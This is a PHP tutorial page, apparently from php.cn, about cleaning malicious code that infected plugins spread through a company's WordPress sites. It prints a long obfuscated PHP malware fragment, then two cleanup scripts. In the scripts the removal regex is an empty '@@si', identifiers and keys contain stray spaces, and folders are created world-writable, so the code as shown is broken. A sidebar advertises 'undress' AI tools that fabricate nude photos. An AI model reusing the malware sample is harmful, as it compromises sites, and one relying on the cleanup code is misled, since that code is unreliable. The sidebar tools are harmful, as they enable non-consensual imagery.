search
HomeBackend DevelopmentPHP TutorialRemove malicious code from PHP files in wordpress

Some of the company's wordpress websites had malicious code in the downloaded plug-ins, which resulted in the presence of malicious code in the PHP files of all websites on the entire server, so I wrote a simple script to remove them.
  1. !#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#^#zsfvrx5c%x7827&6hmg%x5c%x7825!j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>215b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!:8:|:7#6ufs!|ftmf!~!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825%x5c%x782f7rfs%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787fu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f:h%x5c%x7825:!2p%x5c2fh%x5c%x7825:%x5c%x7825fdyUm%x5c%x5c%x7825!qp%x5c%x7825!|Z~!!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256b%x5c%x7825!*##>>X)!gjZb%x5c%x7825!**X)ufttj%x7825c:>11%x5c%x782272qj%x5c%x7825)7gj6!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825q5c%x7825)!gj!2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54!#]y76]277]y72]265]y39]274]y85]273]y66<.4>1?*2b%x5c%x7825)gpf{jt)!gj!:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]KC#>2*!%x5c%x7825z>3j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*#L4]275L3]248L3P6L1M5]D2P4]D6#>1*!%x5c%x7825b:]y4c#!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*q%x5c%x7825V>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6!%x5c%x782400~:Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334}472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>11%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782{66~6j%x5c%x7825!*3!%x5c%x7827c%x78256!#]y84]275]y83]273]y76]277#2b%x5c%7825%x5c%x7827Y%x5c%x78256<.msv>EzH,2W%x5c%x7825wN;#-Ez-1H9%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5fdy)##-!#~2%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#
复制代码
  1. /**
  2. * File name: delUnwantedCode.php
  3. * Function: Delete malicious code in FTP
  4. * Instructions for use:
  5. * Please upload the file to the directory where the malicious code needs to be removed, and then access it through CLI or browser. The original one is infected files will be automatically backed up
  6. */
  7. $path = dirname(__FILE__); #Define the directory to be processed
  8. $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php '); #Define the source file backup directory. Before the program filters out malicious codes, first back up the documents to this directory according to the original path
  9. $fileType = array('php'); #Define the file type (suffix name) that needs to be processed, Lowercase
  10. $search = array('@@si'); #Define malicious code rules that need to be filtered
  11. $search_count = array(
  12. 'all_file'=>array(), #All files
  13. 'search_file0'=>array(), #No malicious code File
  14. 'search_file1'=>array() #File containing malicious code
  15. );
  16. $filelist = listDir($path,$fileType,false); #Read the list of qualified files in the directory
  17. if(!empty ($filelist)){
  18. foreach ($filelist as $file){
  19. $file = (isset($file['name'])?$file['name']:$file);
  20. $search_count['all_file '][] = $file;
  21. $fileContent = file_get_contents($file);
  22. $compile_fileContent = preg_replace($search, '', $fileContent);
  23. if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
  24. #If the file length is inconsistent after filtering, it means it contains malicious code (the directory where the backup file is located is not filtered)
  25. $search_count['search_file1'][] = $ file;
  26. ############Start backing up the original file##############
  27. $bakFile = str_replace($path, $bak_path, $file );
  28. @make_dir(dirname($bakFile));
  29. @file_put_contents($bakFile, $fileContent);
  30. ############End of backing up the original file######## #######
  31. #Rewrite the filtered content to the original PHP file
  32. @file_put_contents($file, $compile_fileContent);
  33. }else{
  34. $search_count['search_file0'][] = $ file;
  35. }
  36. }
  37. }
  38. #print_r($search_count);die;
  39. echo sprintf('A total of %s qualified files were searched from %s, of which %s contained malicious code, and the processing has been completed ',$path,count($search_count['all_file']), count($search_count['search_file1']));die;
  40. #######################
  41. ## Auxiliary function
  42. ################ ########
  43. /**
  44. * Check whether the target folder exists, if not, automatically create the directory
  45. *
  46. * @access public
  47. * @param string folder directory path. Cannot use URLs relative to the website root
  48. *
  49. * @return bool
  50. */
  51. function make_dir($folder){
  52. $reval = false;
  53. if (!file_exists($folder)){
  54. #If the directory does not exist then Try to create the directory
  55. @umask(0);
  56. #Split the directory path into an array
  57. preg_match_all('/([^/]*)/?/i', $folder, $atmp);
  58. #If If the first character is /, it will be treated as a physical path
  59. $base = ($atmp[0][0] == '/') ? '/' : '';
  60. #Traverse the array containing path information
  61. foreach ($atmp[1] AS $val){
  62. if ('' != $val){
  63. $base .= $val;
  64. if ('..' == $val || '.' == $val ){
  65. #If the directory is. or.., then directly add/continue to the next cycle
  66. $base .= '/';
  67. continue;
  68. }
  69. }else{
  70. continue;
  71. }
  72. $base .= '/ ';
  73. if (!file_exists($base)){
  74. #Try to create the directory, if the creation fails, continue the loop
  75. if (@mkdir(rtrim($base, '/'), 0777)){
  76. @chmod( $base, 0777);
  77. $reval = true;
  78. }
  79. }
  80. }
  81. }else{
  82. #The path already exists.Return whether the path is a directory
  83. $reval = is_dir($folder);
  84. }
  85. clearstatcache();
  86. return $reval;
  87. }
  88. ########Get all files in the directory, Include the beginning of subdirectories################
  89. function listDir($path,$fileType=array(),$fileInfo=true){
  90. $path = str_replace(array('/ ','\'), DIRECTORY_SEPARATOR, $path);
  91. if(!file_exists($path)||!is_dir($path)){
  92. return '';
  93. }
  94. if(substr($path, -1, 1)==DIRECTORY_SEPARATOR){
  95. $path = substr($path, 0,-1);
  96. }
  97. $dirList=array();
  98. $dir=opendir($path);
  99. while($file=readdir( $dir)){
  100. #If $fileType is defined and the file type is not within the range of $fileType or the file is a directory, skip
  101. if($file!=='.'&&$file!=='.. '){
  102. $file = $path.DIRECTORY_SEPARATOR.$file;
  103. if(is_dir($file)){
  104. if(empty($fileType)){
  105. $dirList[] = ($fileInfo==true?array( 'name'=>$file,'isDir'=>intval(is_dir($file))):$file);
  106. }
  107. $dirList = array_merge($dirList,listDir($file,$fileType));
  108. }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
  109. $dirList[] = ($fileInfo==true?array('name'=>$ file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($ file)):$file);
  110. }
  111. };
  112. };
  113. closedir($dir);
  114. return $dirList;
  115. }
  116. ########Get all files in the directory, including the end of the subdirectory# ###############
Copy code
  1. /**
  2. * File name: delAllUnwantedCode.php
  3. * Function: Delete malicious code in FTP (supports any number of file processing)
  4. * Instructions for use:
  5. * Please upload the file to the directory where the malicious code needs to be removed, and then use CLI or browser Just access it, and the original infected files will be automatically backed up
  6. */
  7. set_time_limit(0);ignore_user_abort(true);
  8. $path = dirname(__FILE__); #Define the directory that needs to be processed
  9. $bak_path = $path .DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #Define the source file backup directory. Before the program filters the malicious code, first back up the documents to this directory according to the original path
  10. $fileType = array('php'); #Definition File type to be processed (suffix name), lowercase
  11. $search = array('@@si'); #Define malicious code rules that need to be filtered
  12. $file_count = array(
  13. 'all_file'=>0, #All files
  14. 'filter_file'=> 0 #Files containing malicious code
  15. );
  16. replaceUnwantedCode($path); #Execute filtering
  17. #print_r($search_count);die;
  18. echo sprintf('A total of %s files that meet the criteria were searched from %s , %s of which contain malicious code have been cleaned, and the original files are saved in %s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;
  19. function replaceUnwantedCode($path){
  20. global $bak_path,$fileType,$search,$file_count;
  21. $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);
  22. if(! file_exists($path)||!is_dir($path)){
  23. return '';
  24. }
  25. if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
  26. $path = substr($path, 0 ,-1);
  27. }
  28. $dir=opendir($path);
  29. while($file=readdir($dir)){
  30. #If $fileType is defined, and the file type is not within the range of $fileType or the file is a directory, skip
  31. if($file!=='.'&&$file!=='..'){
  32. $file = $path.DIRECTORY_SEPARATOR.$file;
  33. if(is_dir($file)){
  34. replaceUnwantedCode($file);
  35. }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
  36. ############## #################
  37. @$file_count['all_file']++;
  38. $fileContent = file_get_contents($file); #File original code
  39. $compile_fileContent = preg_replace( $search, '', $fileContent); #Filtered content
  40. if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
  41. # If the length of the file after filtering is inconsistent, it means it contains malicious code (the directory where the backup file is located is not filtered)
  42. $file_count['filter_file']++;
  43. ############Start backing up the original file# ##############
  44. $bakFile = str_replace($path, $bak_path, $file);
  45. @make_dir(dirname($bakFile));
  46. @file_put_contents($bakFile, $fileContent );
  47. ############End of backing up the original file##############
  48. #Rewrite the filtered content to the original PHP File
  49. @file_put_contents($file, $compile_fileContent);
  50. }
  51. ###############################
  52. unset( $fileContent,$compile_fileContent);
  53. }
  54. };
  55. };
  56. closedir($dir);
  57. return true;
  58. }
  59. ################ ########
  60. ## Auxiliary function
  61. ######################
  62. /**
  63. * Check whether the target folder exists, if not, automatically create the directory
  64. *
  65. * @access public
  66. * @param string folder directory path. Cannot use URLs relative to the website root
  67. *
  68. * @return bool
  69. */
  70. function make_dir($folder){
  71. $reval = false;
  72. if (!file_exists($folder)){
  73. #If the directory does not exist, try to create it
  74. @umask(0);
  75. #Split the directory path into Array
  76. preg_match_all('/([^/]*)/?/i', $folder, $atmp);
  77. #If the first character is /, it will be treated as a physical path
  78. $base = ($atmp[ 0][0] == '/') ? '/' : '';
  79. #Traverse the array containing path information
  80. foreach ($atmp[1] AS $val){
  81. if ('' != $val ){
  82. $base .= $val;
  83. if ('..' == $val || '.' == $val){
  84. #If the directory is. or.., directly add/continue to the next cycle
  85. $base .= '/';
  86. continue;
  87. }
  88. }else{
  89. continue;
  90. }
  91. $base .= '/';
  92. if (!file_exists($base)){
  93. #Try to create a directory, If creation fails, continue looping
  94. if (@mkdir(rtrim($base, '/'), 0777)){
  95. @chmod($base, 0777);
  96. $reval = true;
  97. }
  98. }
  99. }
  100. } else{
  101. #The path already exists. Return whether the path is a directory
  102. $reval = is_dir($folder);
  103. }
  104. clearstatcache();
  105. return $reval;
  106. }
Copy code
Malicious code, wordpress, PHP


Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
The Continued Use of PHP: Reasons for Its EnduranceThe Continued Use of PHP: Reasons for Its EnduranceApr 19, 2025 am 12:23 AM

What’s still popular is the ease of use, flexibility and a strong ecosystem. 1) Ease of use and simple syntax make it the first choice for beginners. 2) Closely integrated with web development, excellent interaction with HTTP requests and database. 3) The huge ecosystem provides a wealth of tools and libraries. 4) Active community and open source nature adapts them to new needs and technology trends.

PHP and Python: Exploring Their Similarities and DifferencesPHP and Python: Exploring Their Similarities and DifferencesApr 19, 2025 am 12:21 AM

PHP and Python are both high-level programming languages ​​that are widely used in web development, data processing and automation tasks. 1.PHP is often used to build dynamic websites and content management systems, while Python is often used to build web frameworks and data science. 2.PHP uses echo to output content, Python uses print. 3. Both support object-oriented programming, but the syntax and keywords are different. 4. PHP supports weak type conversion, while Python is more stringent. 5. PHP performance optimization includes using OPcache and asynchronous programming, while Python uses cProfile and asynchronous programming.

PHP and Python: Different Paradigms ExplainedPHP and Python: Different Paradigms ExplainedApr 18, 2025 am 12:26 AM

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP and Python: A Deep Dive into Their HistoryPHP and Python: A Deep Dive into Their HistoryApr 18, 2025 am 12:25 AM

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

Choosing Between PHP and Python: A GuideChoosing Between PHP and Python: A GuideApr 18, 2025 am 12:24 AM

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP and Frameworks: Modernizing the LanguagePHP and Frameworks: Modernizing the LanguageApr 18, 2025 am 12:14 AM

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHP's Impact: Web Development and BeyondPHP's Impact: Web Development and BeyondApr 18, 2025 am 12:10 AM

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

How does PHP type hinting work, including scalar types, return types, union types, and nullable types?How does PHP type hinting work, including scalar types, return types, union types, and nullable types?Apr 17, 2025 am 12:25 AM

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values ​​and handle functions that may return null values.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

Dreamweaver Mac version

Dreamweaver Mac version

Visual web development tools

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software